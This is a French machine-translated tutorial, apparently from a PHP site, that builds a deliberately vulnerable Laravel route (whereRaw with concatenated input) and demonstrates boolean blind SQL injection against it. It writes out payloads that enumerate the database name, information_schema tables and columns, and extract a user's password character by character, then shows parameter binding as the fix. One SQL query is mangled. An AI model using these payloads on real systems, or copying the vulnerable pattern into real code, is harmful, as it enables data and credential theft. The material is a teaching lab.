Maison  >  Article  >  cadre php  >  Analyse des principes d'injection aveugle SQL à travers des exemples de vulnérabilités Laravel

Analyse des principes d'injection aveugle SQL à travers des exemples de vulnérabilités Laravel

WBOY
WBOYavant
2022-07-27 10:57:332485parcourir

Cet article vous apporte des connaissances pertinentes sur laravel, qui explique principalement comment expliquer le principe de l'injection aveugle SQL en créant une vulnérabilité laravel. La soi-disant injection aveugle est l'injection terminée lorsque le serveur n'a pas d'écho d'erreur. jetons-y un coup d'œil, j'espère que cela sera utile à tout le monde.

Analyse des principes d'injection aveugle SQL à travers des exemples de vulnérabilités Laravel

【Recommandation associée : tutoriel vidéo laravel

Environnement

composer create-project laravel/laravel lar9 // 安装laravel9
// 编辑.env  修改为DEBUG=false 配置数据库
DEBUG=false
DB_HOST=....
php artisan migrate
php artisan serve // 启动
// 插入数据
insert into users(`name`,`email`,`password`) values('xxh','4******qq.com','worldhello');

Création d'une vulnérabilité

// routes/web.php
Route::get('/', function () {
 $id = request()->id;
 $user = \App\Models\User::whereRaw('id = '.$id)->first();
 return $user->name ?? '';
});
// 最后转换的sql是: select * from users where id = $id

Test

http://127.0.0.1:8000/?id=1'
// 500
http://127.0.0.1:8000/?id=1 and 1=2
// select * from users where id = 1 and 1=2; 返回空
http://127.0.0.1:8000/?id=1 and 1=1 
// select * from users where id = 1 and 1=1 返回xxh

St eps

Nom de la base de données

Devinez le nom des données length

url: http://127.0.0.1:8000/?id=1 and length(database()) = 1
select * from users where id = 1 and length(database()) = 1
select * from users where id = 1 and length(database()) = 2
// 一直循环下去

Devinez le nom de la base de données

从第一步 知道了数据库名长度
`select * from users where id = 1 and substr(database(),1,1) =a` 
`select * from users where id = 1 and substr(database(),1,1) =b` 
// 一直循环下去 找到数据库名的第一个做字符  然后找第二个字符  直到找完数据库名的长度

Enfin : laravel_project

Nom de la table

Les étapes suivantes sont similaires à deviner la base de données, je vais donc rester simple.

information_schema

information_schema est livré avec mysql.

Le nom de la base de données, le nom de la table, le type de colonne, etc. sont tous enregistrés. Devinez que les champs de la table doivent provenir de cette base de données.

Devinez le nombre de tables dans laravel_project

url:   http://127.0.0.1:8000/?id=1 and (select count(*) from information_schema.tables where table_schema ="laravel_project" ) = 5
mysql> select count(*) from information_schema.tables where table_schema ="laravel_projeelect count(column_name) from information_schema.columns where table_name= ’usersct";
+----------+
| count(*) |
+----------+
|        5 |
+----------+

Devinez la longueur du premier nom de table

Ce n'est pas beaucoup plus que [devinez la longueur du nom des données].

Devinez le premier nom de la table

url:   http://127.0.0.1:8000/?id=1 and ( select substr(table_name,1,1) from information_schema.tables where table_schema ="laravel_project" limit 0,1) = 'f'
mysql> select substr(table_name,1,1) from information_schema.tables where table_schema ="laravel_project" limit 0,1;
+------------------------+
| substr(table_name,1,1) |
+------------------------+
| f                      |
+------------------------+
// 得出第一个表的第一个字段是f  然后查第

Enfin, le premier nom de la table est : failed_jobs

Deviner les champs

La logique est exactement la même que pour deviner la table.

select count(column_name) from information_schema.columns where table_name= 'failed_jobs'; //  fail_jobs字段总数

Devinez les données

Données C'est la chose la plus importante.

Parce que failed_jobs n'a pas de données, je l'ai changé en utilisateurs.

les utilisateurs ont un champ de mot de passe.

mysql> select substr((select password from users limit 0,1),1,1);
+----------------------------------------------------+
| substr((select password from users limit 0,1),1,1) |
+----------------------------------------------------+
| w                                                  |
+----------------------------------------------------+
得出第一个是w,存起来,最后判断 
mysql> select substr((select password from users limit 0,1),1,2);
+----------------------------------------------------+
| substr((select password from users limit 0,1),1,2) |
+----------------------------------------------------+
| wo                                                 |
+----------------------------------------------------+
第二个值为o
用第一个值 + 第二个值作为盲注

...

Défense

(Parfois, là où ne répond pas aux exigences, vous avez besoin de oùRaw)

Si nécessaire, n'oubliez pas de le lier.

Route::get('/', function () {
 $id = request()->id;
 $user = \App\Models\User::whereRaw('id = ?',[$id])->first();
 return $user->name ?? '';
});

Tant que vous utilisez le framework en toute sécurité, il n'y aura aucune faille.

Ces vieux projets sont pleins de failles.

De nos jours, il est difficile de trouver des failles.

Ps

Par souci de simplicité, la recherche la plus simple est utilisée ci-dessus.

L'injection aveugle manuelle doit utiliser la recherche binaire.

select * from users where id = 1 and  substr(database(),1,1) ='a';
换成二分:
 select * from users where id = 1 and  ascii(substr(database(),1,1)) > 99;

Il est préférable d'utiliser l'outil sqlmap pour le scanner directement.

【Recommandation associée : tutoriel vidéo laravel

Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!

Déclaration:
Cet article est reproduit dans:. en cas de violation, veuillez contacter admin@php.cn Supprimer